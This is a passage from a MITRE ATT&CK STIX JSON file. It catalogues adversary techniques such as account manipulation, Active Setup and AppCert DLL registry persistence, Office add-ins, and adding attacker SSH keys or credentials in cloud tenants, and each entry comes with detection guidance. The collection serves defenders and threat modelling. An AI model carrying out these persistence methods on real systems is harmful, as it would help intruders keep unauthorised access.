            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_data_sources": [
                "User Account: User Account Metadata",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Access"
            ],
            "x_mitre_contributors": [
                "Daniel Stepanic, Elastic",
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_version": "2.3"
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1098",
                    "url": "https://attack.mitre.org/techniques/T1098"
                },
                {
                    "source_name": "Microsoft User Modified Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738"
                },
                {
                    "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.",
                    "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670",
                    "source_name": "Microsoft Security Event 4670"
                },
                {
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "source_name": "InsiderThreat ChangeNTLM July 2017"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/issues/92",
                    "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
                    "source_name": "GitHub Mimikatz Issue 92 June 2017"
                }
            ],
            "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.",
            "name": "Account Manipulation",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-20T16:21:28.502Z",
            "created": "2017-05-31T21:31:12.196Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "2.2",
            "x_mitre_contributors": [
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
                "Praetorian",
                "Tim MalcomVetter"
            ],
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "Group: Group Modification",
                "User Account: User Account Modification",
                "Active Directory: Active Directory Object Modification"
            ],
            "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1583",
                    "url": "https://attack.mitre.org/techniques/T1583"
                },
                {
                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Acquire Infrastructure",
            "description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.",
            "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:53:19.397Z",
            "created": "2020-09-30T16:37:40.271Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b",
            "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
            "name": "Active Scanning",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1595",
                    "url": "https://attack.mitre.org/techniques/T1595"
                },
                {
                    "source_name": "Botnet Scan",
                    "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf",
                    "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020."
                },
                {
                    "source_name": "OWASP Fingerprinting",
                    "url": "https://wiki.owasp.org/index.php/OAT-004_Fingerprinting",
                    "description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:20:09.600Z",
            "created": "2020-10-02T16:53:16.526Z",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.014",
                    "url": "https://attack.mitre.org/techniques/T1547/014"
                },
                {
                    "source_name": "Klein Active Setup 2010",
                    "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/",
                    "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020."
                },
                {
                    "source_name": "Mandiant Glyer APT 2010",
                    "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf",
                    "description": "Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020."
                },
                {
                    "source_name": "Citizenlab Packrat 2015",
                    "url": "https://citizenlab.ca/2015/12/packrat-report/",
                    "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020."
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."
                },
                {
                    "source_name": "SECURELIST Bright Star 2015",
                    "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/",
                    "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020."
                },
                {
                    "source_name": "paloalto Tropic Trooper 2016",
                    "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Active Setup",
            "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
            "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-03-05T22:36:37.414Z",
            "created": "2020-12-18T16:33:13.098Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code>.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1098.003",
                    "url": "https://attack.mitre.org/techniques/T1098/003"
                },
                {
                    "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
                    "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d",
                    "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019."
                },
                {
                    "source_name": "Microsoft O365 Admin Roles",
                    "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide",
                    "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Add Office 365 Global Administrator Role",
            "description": "An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.",
            "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-24T12:40:02.331Z",
            "created": "2020-01-19T16:59:45.362Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ",
            "x_mitre_data_sources": [
                "User Account: User Account Modification"
            ],
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_platforms": [
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1137.006",
                    "url": "https://attack.mitre.org/techniques/T1137/006"
                },
                {
                    "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
                    "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
                    "source_name": "Microsoft Office Add-ins"
                },
                {
                    "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.",
                    "source_name": "MRWLabs Office Persistence Add-ins"
                },
                {
                    "source_name": "FireEye Mail CDS 2018",
                    "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf",
                    "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019."
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Add-ins",
            "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
            "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-26T17:34:02.877Z",
            "created": "2019-11-07T19:52:52.801Z",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1098.001",
                    "url": "https://attack.mitre.org/techniques/T1098/001"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Blue Cloud of Death",
                    "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1",
                    "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019."
                },
                {
                    "source_name": "Blue Cloud of Death Video",
                    "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815",
                    "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019."
                },
                {
                    "source_name": "Demystifying Azure AD Service Principals",
                    "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/",
                    "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020."
                },
                {
                    "source_name": "GCP SSH Key Add",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add",
                    "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020."
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "url": "https://expel.io/blog/finding-evil-in-aws/",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
                },
                {
                    "source_name": "Expel Behind the Scenes",
                    "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/",
                    "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020."
                }
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nAdversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)",
            "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
            "type": "attack-pattern",
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                    "phase_name": "persistence"
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            "modified": "2021-03-08T10:33:01.582Z",
            "created": "2020-01-19T16:10:15.008Z",
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                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
            ],
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            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
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            "x_mitre_data_sources": [
                "User Account: User Account Modification",
                "Active Directory: Active Directory Object Modification"
            ],
            "x_mitre_platforms": [
                "IaaS",
                "Azure AD"
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        },
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            "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
            "name": "AppCert DLLs",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1182",
                    "url": "https://attack.mitre.org/techniques/T1182"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
                    "source_name": "Sysinternals AppCertDlls Oct 2007"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:29:30.350Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.009",
                    "url": "https://attack.mitre.org/techniques/T1546/009"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
                    "source_name": "Sysinternals AppCertDlls Oct 2007"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppCert DLLs",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
            "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
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                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-11-10T18:29:31.052Z",
            "created": "2020-01-24T14:47:41.795Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
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                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Module: Module Load"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "name": "AppInit DLLs",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1103",
                    "url": "https://attack.mitre.org/techniques/T1103"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://support.microsoft.com/en-us/kb/197571",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "source_name": "AppInit Registry"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "source_name": "AppInit Secure Boot"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:29:30.379Z",
            "created": "2017-05-31T21:31:15.409Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.010",
                    "url": "https://attack.mitre.org/techniques/T1546/010"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://support.microsoft.com/en-us/kb/197571",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "source_name": "AppInit Registry"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "source_name": "AppInit Secure Boot"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppInit DLLs",
